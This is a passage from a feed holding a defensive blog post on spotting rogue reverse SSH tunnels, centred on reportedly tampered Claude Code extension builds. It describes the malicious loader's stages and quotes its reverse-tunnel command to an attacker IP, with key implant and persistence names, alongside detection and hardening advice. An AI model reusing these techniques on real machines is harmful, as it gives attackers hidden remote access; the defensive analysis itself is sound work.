&lt;li&gt;&lt;a href="https://hexdocs.pm/lattice_stripe/LatticeStripe.Webhook.html" rel="noopener noreferrer"&gt;LatticeStripe webhook documentation (raw body requirement and 300-second tolerance)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/webhooks/securing" rel="noopener noreferrer"&gt;GitHub Docs: Validating webhook deliveries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/enterprise-server@3.16/webhooks/using-webhooks/validating-webhook-deliveries" rel="noopener noreferrer"&gt;GitHub Docs (Enterprise Server 3.16): Validating webhook deliveries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.slack.dev/authentication/verifying-requests-from-slack" rel="noopener noreferrer"&gt;Slack: Verifying requests from Slack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.openreplay.com/verify-webhook-signature/" rel="noopener noreferrer"&gt;OpenReplay: How to Verify a Webhook Signature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.svix.com/resources/glossary/webhook-signature/" rel="noopener noreferrer"&gt;Svix: Webhook signature glossary (Standard Webhooks)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hookdeck.com/webhooks/platforms/guide-to-openai-webhooks-features-and-best-practices" rel="noopener noreferrer"&gt;Hookdeck: Guide to OpenAI webhooks (Standard Webhooks adopters)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hexdocs.pm/polar_express/PolarExpress.Webhook.html" rel="noopener noreferrer"&gt;Polar Express (Elixir) webhook documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.glean.com/guides/triggers/webhook-delivery" rel="noopener noreferrer"&gt;Glean: Webhook delivery (Standard Webhooks tolerance and signing key)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.whatnot.com/getting-started/webhooks" rel="noopener noreferrer"&gt;Whatnot: Webhooks (webhook-id and webhook-timestamp behavior on retries)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.twilio.com/docs/security-reliability/security" rel="noopener noreferrer"&gt;Twilio: Security and validating requests&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://static1.twilio.com/docs/usage/webhooks/webhooks-security" rel="noopener noreferrer"&gt;Twilio: Webhooks security (bodySHA256)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.twilio.com/hc/en-us/articles/50535649249307-Fixing-Twilio-Request-Validation-403-Errors-Behind-a-Proxy" rel="noopener noreferrer"&gt;Twilio Support: Fixing Request Validation 403 Errors Behind a Proxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twilio.com/en-us/blog/handle-ssl-termination-twilio-node-js-helper-library" rel="noopener noreferrer"&gt;Twilio: Handle SSL Termination when Validating Webhook Requests in Node.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://rubydoc.info/github/twilio/twilio-ruby/Twilio/Security/RequestValidator" rel="noopener noreferrer"&gt;twilio-ruby RequestValidator documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/integrations/stripe/webhooks/" rel="noopener noreferrer"&gt;ngrok: Stripe webhooks integration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/integrations/webhooks/teams-webhooks" rel="noopener noreferrer"&gt;ngrok: Microsoft Teams webhooks (Traffic Inspector capture settings)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ngrok.com/docs/integrations/mux/webhooks/" rel="noopener noreferrer"&gt;ngrok: Mux webhooks (signature validation limits)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://socket.dev/npm/package/@teamshift/webhook-inspect" rel="noopener noreferrer"&gt;Socket: @teamshift/webhook-inspect&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/signed-sealed-mangled-why-webhook-signatures-fail-behind-a-tunnel" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/signed-sealed-mangled-why-webhook-signatures-fail-behind-a-tunnel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>networking</category>
    </item>
    <item>
      <title>When the Tunnel Is the Payload: Spotting Rogue Reverse SSH Tunnels on Developer Machines</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Mon, 02 Nov 2026 01:40:51 +0000</pubDate>
      <link>https://dev.to/instatunnel/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines-k02</link>
      <guid>https://dev.to/instatunnel/when-the-tunnel-is-the-payload-spotting-rogue-reverse-ssh-tunnels-on-developer-machines-k02</guid>
      <description>&lt;p&gt;Most writing about SSH tunnels is about convenience: reach a database behind a firewall, expose a local dev server, skip the VPN. On October 29, 2026, the other side showed up. Tampered builds of the Claude Code extension, served through Cursor’s extension marketplace, tried to turn developer laptops into inbound doorways using nothing more than &lt;code&gt;ssh&lt;/code&gt; and, when present, &lt;code&gt;autossh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This is a defensive guide. It covers what the tunnel looked like on the wire and on the host, how to separate a sanctioned tunnel from a rogue one, and how to build an allowlist that does not blind you. The incident is the example. The detection logic applies to any reverse SSH tunnel.&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened: tampered Claude Code builds in Cursor’s marketplace
&lt;/h2&gt;

&lt;p&gt;According to &lt;a href="https://cursor.com/blog/claude-code-extension-security-notice" rel="noopener noreferrer"&gt;Cursor’s security notice&lt;/a&gt;, malicious builds of &lt;code&gt;anthropic.claude-code&lt;/code&gt; versions 2.1.312 and 2.1.313 for Windows and macOS were available in the Cursor VS Code Extension Marketplace between about 2:27 a.m. and 1:35 p.m. PT on October 29. That is 09:27 to 20:35 UTC, roughly 11 hours. Cursor estimated that at most 5,000 users were affected. The tampered builds used the legitimate extension ID rather than a look-alike name, so an auto-update could deliver them.&lt;/p&gt;

&lt;p&gt;Three scoping points matter, because early coverage blurred them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;This was not a compromise of Anthropic.&lt;/strong&gt; &lt;a href="https://www.stepsecurity.io/blog/claude-code-extension-trojanized" rel="noopener noreferrer"&gt;StepSecurity&lt;/a&gt; relays Anthropic’s position that an attacker used access to Cursor’s marketplace to publish a tampered copy that Anthropic did not build or publish. Microsoft reports that Anthropic told it the same, and that the malicious packages were never distributed through the Visual Studio Marketplace or the &lt;code&gt;@anthropic-ai/claude-code&lt;/code&gt; npm package. Early reports named Open VSX as an origin. StepSecurity later corrected that: Anthropic confirmed 2.1.313 was never published there, and StepSecurity verified the Open VSX copy of 2.1.312 as clean.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Having the version installed does not prove compromise.&lt;/strong&gt; Source and timing matter. Cursor scopes exposure to macOS and Windows users who installed or updated from Cursor’s marketplace inside that window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The attacker’s infrastructure is gone, but the artifacts are not.&lt;/strong&gt; Cursor worked with the hosting provider to take the server offline. It also removed the builds, shut the marketplace down for an audit, found no other tampered extensions, rotated keys and brought the marketplace back. Cursor asked customers to move to version 2.1.314. Cursor and Microsoft both note that uninstalling the extension does not remove files it already wrote outside its own folder.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;StepSecurity recovered the malicious &lt;code&gt;extension.js&lt;/code&gt; and analyzed it statically. The file is the clean 2.1.312 bundle with a single 7,386-byte loader spliced in front. The loader is not obfuscated. It runs when the module loads, with no Claude conversation and no install hook required, and it works in six stages, each wrapped in a &lt;code&gt;try/catch&lt;/code&gt; that swallows errors:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Recon.&lt;/strong&gt; It collects the hostname, username, OS, architecture, home and working directories, the global Git email, and the &lt;em&gt;names&lt;/em&gt; (not values) of up to 40 environment variables matching &lt;code&gt;KEY|TOKEN|SECRET|PASS|AWS|GCP&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key implant.&lt;/strong&gt; It appends an Ed25519 public key commented &lt;code&gt;svc-telemetry&lt;/code&gt; to &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt;, unless the marker is already there.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable SSH.&lt;/strong&gt; It tries &lt;code&gt;systemctl&lt;/code&gt; on Linux, &lt;code&gt;sudo -n systemsetup -setremotelogin on&lt;/code&gt; on macOS, and installs the OpenSSH Server capability on Windows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse tunnel.&lt;/strong&gt; It drops a private key into a hidden temp file and loops an &lt;code&gt;ssh -N -R&lt;/code&gt; connection to &lt;code&gt;tunnel@134.209.82.225&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence.&lt;/strong&gt; It writes a cron &lt;code&gt;@reboot&lt;/code&gt; entry on Linux, a &lt;code&gt;com.apple.sysmond&lt;/code&gt; LaunchAgent on macOS, and a &lt;code&gt;SysMon&lt;/code&gt; scheduled task with a Startup-folder fallback on Windows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Beacon.&lt;/strong&gt; It POSTs the recon JSON over plain HTTP to port 8099 on the attacker’s server and on loopback.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The affected builds were for macOS and Windows, though the loader also contains a Linux code path. Microsoft maps the behavior to MITRE ATT&amp;amp;CK T1572 (Protocol Tunneling), T1098.004 (SSH Authorized Keys), T1053.003 (Cron) and T1053.005 (Scheduled Task).&lt;/p&gt;

&lt;p&gt;One caveat matters for defenders: success depended on privileges. Cursor says that turning on the local SSH service needs admin rights the extension lacks on most macOS and Windows hosts, so the attacker could not log in through the tunnel on those machines. The exception is when Cursor was started with administrator privileges. StepSecurity adds that the macOS path works only where passwordless &lt;code&gt;sudo&lt;/code&gt; is configured. Even so, Cursor and Microsoft agree that the key, the persistence artifacts and the host report could still land. A tunnel that cannot be used still leaves evidence you can find.&lt;/p&gt;

&lt;p&gt;The incident’s own indicators are now stale, since the server is down. The behavior is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Anatomy of a reverse SSH tunnel
&lt;/h2&gt;

&lt;p&gt;An ordinary SSH tunnel is initiated from the client toward something it wants to reach. A reverse tunnel flips the direction of reachability. The client makes an &lt;em&gt;outbound&lt;/em&gt; connection, then asks the server to open a listening port that forwards back to a service on the client’s side.&lt;/p&gt;

&lt;p&gt;The loader’s core command was &lt;code&gt;ssh -N -R '*:0:localhost:22'&lt;/code&gt; to &lt;code&gt;tunnel@134.209.82.225&lt;/code&gt;. Read it piece by piece:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-N&lt;/code&gt; runs no remote command. The connection exists only to carry forwards.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-R&lt;/code&gt; requests a remote forward, so a port on the attacker’s server connects back through the tunnel.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;*:0&lt;/code&gt; asks for a wildcard bind with port zero, which lets the server choose the listening port.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;localhost:22&lt;/code&gt; points that forward at the victim’s own SSH daemon.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The effect: a machine behind NAT, with no inbound firewall rule, can become reachable through a port on someone else’s server. Inbound firewall rules and NAT do nothing to stop it, because the connection starts from inside. Whether that port is reachable by the wider internet depends on the server’s configuration. A wildcard bind is honored only if the server’s &lt;code&gt;GatewayPorts&lt;/code&gt; setting allows it. An attacker still needs the matching private key and a running SSH daemon on the victim to get a login. This is why a running tunnel process is a lead rather than proof of access.&lt;/p&gt;

&lt;p&gt;The loader also tuned the connection for stealth and durability, per StepSecurity’s recovered source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No prompts:&lt;/strong&gt; &lt;code&gt;BatchMode=yes&lt;/code&gt;, &lt;code&gt;StrictHostKeyChecking=no&lt;/code&gt; and &lt;code&gt;UserKnownHostsFile=/dev/null&lt;/code&gt;. Nothing asks the user anything and nothing is remembered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keepalives and fail-fast:&lt;/strong&gt; &lt;code&gt;ServerAliveInterval=30&lt;/code&gt;, &lt;code&gt;ServerAliveCountMax=3&lt;/code&gt;, &lt;code&gt;ExitOnForwardFailure=yes&lt;/code&gt; and &lt;code&gt;ConnectTimeout=10&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resilience:&lt;/strong&gt; a shell loop that sleeps 60 seconds after each exit and reconnects, preferring &lt;code&gt;autossh -M 0&lt;/code&gt; when installed. The &lt;code&gt;-M 0&lt;/code&gt; flag turns off autossh’s monitoring port and leans on the keepalives instead. On Windows the same logic runs in a hidden PowerShell loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A hidden key file:&lt;/strong&gt; the embedded private key was written to a dot-file in the temp directory named &lt;code&gt;.stk_&lt;/code&gt; plus ten hex characters. The characters come from a hash of the hostname and home directory, so the same machine always produces the same name. A second copy of the key lives under &lt;code&gt;~/.config&lt;/code&gt; (&lt;code&gt;.smtk&lt;/code&gt;), so cleaning the temp directory does not end the tunnel.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of those choices is also a detection opportunity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Egress signatures to hunt for
&lt;/h2&gt;

&lt;p&gt;No single signal is conclusive, because legitimate developers run reverse tunnels too. Good detection stacks several weak signals into one confident one. MITRE’s detection strategy for Protocol Tunneling (&lt;a href="https://attack.mitre.org/detectionstrategies/DET0538/" rel="noopener noreferrer"&gt;DET0538&lt;/a&gt;) takes the same approach. It pairs process creation, such as &lt;code&gt;ssh&lt;/code&gt; with &lt;code&gt;-L&lt;/code&gt;/&lt;code&gt;-R&lt;/code&gt; forwarding flags, with network and &lt;code&gt;sshd&lt;/code&gt; log data, and it lists an allowlist of legitimate tunneling tools as a tunable element.&lt;/p&gt;

&lt;h3&gt;
  
  
  Process signals
&lt;/h3&gt;

&lt;p&gt;Process creation is usually the highest-fidelity source, because the command line shows intent.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-R&lt;/code&gt; on an &lt;code&gt;ssh&lt;/code&gt; or &lt;code&gt;autossh&lt;/code&gt; command line.&lt;/strong&gt; &lt;a href="https://www.elastic.co/guide/en/security/8.19/prebuilt-rule-8-19-29-potential-ssh-reverse-port-forwarding.html" rel="noopener noreferrer"&gt;Elastic’s prebuilt rule&lt;/a&gt; targets Windows &lt;code&gt;ssh.exe&lt;/code&gt; and Plink. It matches &lt;code&gt;-R&lt;/code&gt;, &lt;code&gt;-oRemoteForward&lt;/code&gt; and &lt;code&gt;-o RemoteForward&lt;/code&gt;, and it uses a regular expression for &lt;code&gt;-R&lt;/code&gt; bundled with other flags such as &lt;code&gt;-NR&lt;/code&gt; or &lt;code&gt;-fNR&lt;/code&gt;. A naive search for &lt;code&gt;" -R "&lt;/code&gt; misses those. Elastic ships the rule at low severity, which tells you it is meant to generate leads for triage, not verdicts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port zero or wildcard binds.&lt;/strong&gt; &lt;code&gt;*:0:&lt;/code&gt; and &lt;code&gt;0.0.0.0:&lt;/code&gt; forwards are unusual in sanctioned workflows, which tend to name a specific port.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Suspicious parents.&lt;/strong&gt; A reverse-forwarding &lt;code&gt;ssh&lt;/code&gt; whose parent is a Node.js process, an editor’s extension host, a shell loop, &lt;code&gt;cron&lt;/code&gt;, or a scheduled task deserves attention. Elastic’s investigation guidance likewise says to escalate on shells, script interpreters, unusual parents and recently created binaries. A human typing in a terminal or a managed service unit is a different story.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry loops.&lt;/strong&gt; Elastic’s guidance also treats recurring or long-lived reverse-forward commands outside a confirmed window as suspicious. A process that relaunches about every 60 seconds fits that description.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Network signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Long-lived outbound TCP 22 to a destination you do not own or recognize.&lt;/strong&gt; A session that lasts days from a developer laptop is rarely a person at a keyboard.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Raw IP destinations&lt;/strong&gt; with no DNS history.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cleartext HTTP POSTs to a raw IP on an odd port.&lt;/strong&gt; The beacon went to port 8099, in plain HTTP, from a process tree that began in an editor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keepalive and retry cadence.&lt;/strong&gt; With &lt;code&gt;ServerAliveInterval=30&lt;/code&gt;, an idle tunnel sends a probe after 30 quiet seconds, and a dropped one reconnects after a 60-second sleep. That is machine-regular in a way human sessions are not.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Session shape.&lt;/strong&gt; FoxIO’s JA4SSH fingerprint classifies encrypted SSH sessions by packet-size and ACK patterns without decrypting anything, and the &lt;a href="https://github.com/FoxIO-LLC/ja4" rel="noopener noreferrer"&gt;JA4+ repository&lt;/a&gt; lists an example fingerprint for a reverse SSH shell. Treat it as a heuristic to enrich alerts, not a verdict. JA4SSH is covered by the FoxIO License 1.1 rather than the permissive license JA4 itself uses, so check the terms before building it into a commercial product.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port is not identity.&lt;/strong&gt; SSH can run on any port, including 443. Protocol-aware detection (SSH banner and handshake on non-standard ports) beats port-based rules.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Not an indicator by themselves:&lt;/strong&gt; lookups to &lt;code&gt;ifconfig.me&lt;/code&gt; and &lt;code&gt;api.ipify.org&lt;/code&gt;, which the loader used to find its public IP. Many legitimate tools do the same.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Host signals
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;New entries in &lt;code&gt;authorized_keys&lt;/code&gt;&lt;/strong&gt; with comments you did not provision. On Windows, check both the user’s file and &lt;code&gt;C:\ProgramData\ssh\administrators_authorized_keys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remote login or &lt;code&gt;sshd&lt;/code&gt; newly enabled&lt;/strong&gt; on a workstation that never ran it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Persistence with borrowed names.&lt;/strong&gt; The sample used a &lt;code&gt;com.apple.sysmond&lt;/code&gt; LaunchAgent, a &lt;code&gt;SysMon&lt;/code&gt; scheduled task, and &lt;code&gt;@reboot&lt;/code&gt; cron lines. A &lt;code&gt;com.apple.*&lt;/code&gt; label in a &lt;em&gt;user’s&lt;/em&gt; LaunchAgents folder deserves a second look. Microsoft’s guidance is to inspect each startup object’s configured action before removing it, because a name alone does not separate malicious objects from legitimate monitoring software.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dot-files in &lt;code&gt;~/.config&lt;/code&gt; and temp directories&lt;/strong&gt; holding scripts or keys (&lt;code&gt;.smt&lt;/code&gt;, &lt;code&gt;.smtk&lt;/code&gt;, &lt;code&gt;.stk_*&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sanctioned vs rogue: named, authenticated, logged
&lt;/h2&gt;

&lt;p&gt;Policy documents say “approved tunnels only.” Detection needs something testable. A workable rule of thumb: a sanctioned tunnel is &lt;strong&gt;named, authenticated, and logged&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Named:&lt;/strong&gt; someone owns it, it has a purpose, and its configuration lives in a place you can inspect, such as an &lt;code&gt;~/.ssh/config&lt;/code&gt; host alias or a managed service unit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authenticated:&lt;/strong&gt; it uses a key issued for that purpose, and the server’s host key is verified against a known entry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logged:&lt;/strong&gt; process creation, network connection, and server-side authentication events are all retained, so you can reconstruct who opened what.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is how that plays out in practice:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Sanctioned tunnel&lt;/th&gt;
&lt;th&gt;Rogue tunnel (as seen in this incident)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Destination&lt;/td&gt;
&lt;td&gt;Hostname on an approved list (bastion, relay you operate)&lt;/td&gt;
&lt;td&gt;Raw IP, no prior history&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host-key checking&lt;/td&gt;
&lt;td&gt;Enforced, known-hosts entry present&lt;/td&gt;
&lt;td&gt;Disabled, known-hosts sent to &lt;code&gt;/dev/null&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key&lt;/td&gt;
&lt;td&gt;Named key tied to a person or service&lt;/td&gt;
&lt;td&gt;Embedded key written to a hidden temp file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forward spec&lt;/td&gt;
&lt;td&gt;Specific loopback port for a specific service&lt;/td&gt;
&lt;td&gt;Wildcard bind, port 0, target is local &lt;code&gt;sshd&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Launched by&lt;/td&gt;
&lt;td&gt;Terminal session, systemd unit, launchd job with a known label&lt;/td&gt;
&lt;td&gt;Extension code, shell loop, cron, fake system-named job&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Managed by config management or documented&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;@reboot&lt;/code&gt; cron, look-alike LaunchAgent, scheduled task&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server side&lt;/td&gt;
&lt;td&gt;You operate it and read its logs&lt;/td&gt;
&lt;td&gt;Unknown third party&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Owner on request&lt;/td&gt;
&lt;td&gt;Can name a ticket or teammate&lt;/td&gt;
&lt;td&gt;Nobody&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;As a rule of thumb (not a formal standard), if a tunnel fails more than two of those rows, treat it as hostile until someone with authority says otherwise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Allowlisting without blinding yourself
&lt;/h2&gt;

&lt;p&gt;Blocking all SSH is not realistic; developers push to Git remotes over it every day. The failure mode to avoid is the opposite one: an allowlist so broad that it hides the next tunnel. Three principles help.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Allowlist the full tuple, not the tool.&lt;/strong&gt; Elastic’s false-positive guidance for its reverse-forwarding rule says benign activity should be tied to a verified combination of command line, host, user, parent process, executable, remote server and forward port. It tells you not to close an alert just because the binary is named &lt;code&gt;ssh.exe&lt;/code&gt; or has a familiar path and signature. It also says to scope exceptions to the host, user, executable or hash, parent, and exact arguments, and not to suppress reverse forwarding across all hosts or accounts. An exception that reads “user X on host Y runs this binary from this parent to that relay on that port” is a control. An exception that reads “ignore &lt;code&gt;autossh&lt;/code&gt;” is a hole.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Allowlist by destination, at the egress layer.&lt;/strong&gt; Default-deny outbound SSH from developer subnets and VPN pools, then permit your bastions, your relay, and the Git hosts you actually use. Because port 22 is not the only way out, pair this with destination-based rules for 443. GitHub, for example, documents SSH over the HTTPS port at &lt;code&gt;ssh.github.com:443&lt;/code&gt;, a different hostname from &lt;code&gt;github.com&lt;/code&gt;. Allow the specific host, not the port.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Give exceptions an expiry.&lt;/strong&gt; Time-box every tunnel exception and review it. A temporary exception for a demo that becomes permanent is how a monitoring gap is born.&lt;/p&gt;

&lt;p&gt;A managed client configuration for a sanctioned tunnel might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;Host&lt;/span&gt; dev-relay
    &lt;span class="k"&gt;HostName&lt;/span&gt; relay.example.com
    &lt;span class="k"&gt;User&lt;/span&gt; tunnel-svc
    &lt;span class="k"&gt;IdentityFile&lt;/span&gt; ~/.ssh/id_ed25519_relay
    &lt;span class="k"&gt;IdentitiesOnly&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
    &lt;span class="k"&gt;StrictHostKeyChecking&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
    &lt;span class="k"&gt;ServerAliveInterval&lt;/span&gt; &lt;span class="m"&gt;30&lt;/span&gt;
    &lt;span class="k"&gt;ServerAliveCountMax&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
    &lt;span class="k"&gt;ExitOnForwardFailure&lt;/span&gt; &lt;span class="no"&gt;yes&lt;/span&gt;
    &lt;span class="k"&gt;RemoteForward&lt;/span&gt; &lt;span class="m"&gt;127&lt;/span&gt;.0.0.1:9222 localhost:9222
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note what it does differently from the malicious one-liner. Host-key checking is on, the key is named, the forward targets one loopback port, and the whole thing lives in a file that audit tooling can read.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening the server and the endpoint
&lt;/h2&gt;

&lt;p&gt;If you run the relay, you control what a tunnel can do. These OpenSSH server directives matter (see the &lt;a href="https://man.openbsd.org/sshd_config" rel="noopener noreferrer"&gt;&lt;code&gt;sshd_config&lt;/code&gt;&lt;/a&gt; and &lt;a href="https://man.openbsd.org/sshd" rel="noopener noreferrer"&gt;&lt;code&gt;sshd&lt;/code&gt;&lt;/a&gt; manual pages):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;AllowTcpForwarding&lt;/code&gt;&lt;/strong&gt; accepts &lt;code&gt;yes&lt;/code&gt;, &lt;code&gt;no&lt;/code&gt;, &lt;code&gt;local&lt;/code&gt; or &lt;code&gt;remote&lt;/code&gt;. Set it per user in &lt;code&gt;Match&lt;/code&gt; blocks instead of globally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;PermitListen&lt;/code&gt;&lt;/strong&gt; restricts which addresses and ports a remote forward may bind.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;GatewayPorts&lt;/code&gt;&lt;/strong&gt; defaults to &lt;code&gt;no&lt;/code&gt;, meaning remote forwards bind only to loopback. That is exactly what makes a wildcard bind request like the loader’s ineffective on a properly configured server. Leave it at &lt;code&gt;no&lt;/code&gt; for everyone except accounts with a documented need.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;authorized_keys&lt;/code&gt; options&lt;/strong&gt; such as &lt;code&gt;restrict&lt;/code&gt;, &lt;code&gt;port-forwarding&lt;/code&gt; and &lt;code&gt;permitlisten&lt;/code&gt; let you pin a given key to a narrow job.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;An illustrative relay configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/ssh/sshd_config on a relay you operate&lt;/span&gt;
&lt;span class="k"&gt;GatewayPorts&lt;/span&gt; &lt;span class="no"&gt;no&lt;/span&gt;
&lt;span class="k"&gt;LogLevel&lt;/span&gt; VERBOSE            &lt;span class="c1"&gt;# records key fingerprints on authentication&lt;/span&gt;

&lt;span class="k"&gt;Match&lt;/span&gt; User tunnel-svc
    &lt;span class="k"&gt;AllowTcpForwarding&lt;/span&gt; remote
    &lt;span class="k"&gt;PermitListen&lt;/span&gt; &lt;span class="m"&gt;127&lt;/span&gt;.0.0.1:9222
    &lt;span class="k"&gt;PermitTTY&lt;/span&gt; &lt;span class="no"&gt;no&lt;/span&gt;
    &lt;span class="k"&gt;X11Forwarding&lt;/span&gt; &lt;span class="no"&gt;no&lt;/span&gt;
    &lt;span class="k"&gt;ForceCommand&lt;/span&gt; /bin/false
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="c1"&gt;# ~/.ssh/authorized_keys for tunnel-svc on the relay&lt;/span&gt;
&lt;span class="k"&gt;restrict&lt;/span&gt;,port-forwarding,permitlisten="127.0.0.1:9222" ssh-ed25519 AAAA... relay-key-for-dev-team
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run &lt;code&gt;sshd -T&lt;/code&gt; to see the effective configuration, and add &lt;code&gt;-C&lt;/code&gt; to test &lt;code&gt;Match&lt;/code&gt; conditions for a given user and address.&lt;/p&gt;

&lt;p&gt;On the endpoint, the cheap wins target the supply chain, since that is how this tunnel arrived:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
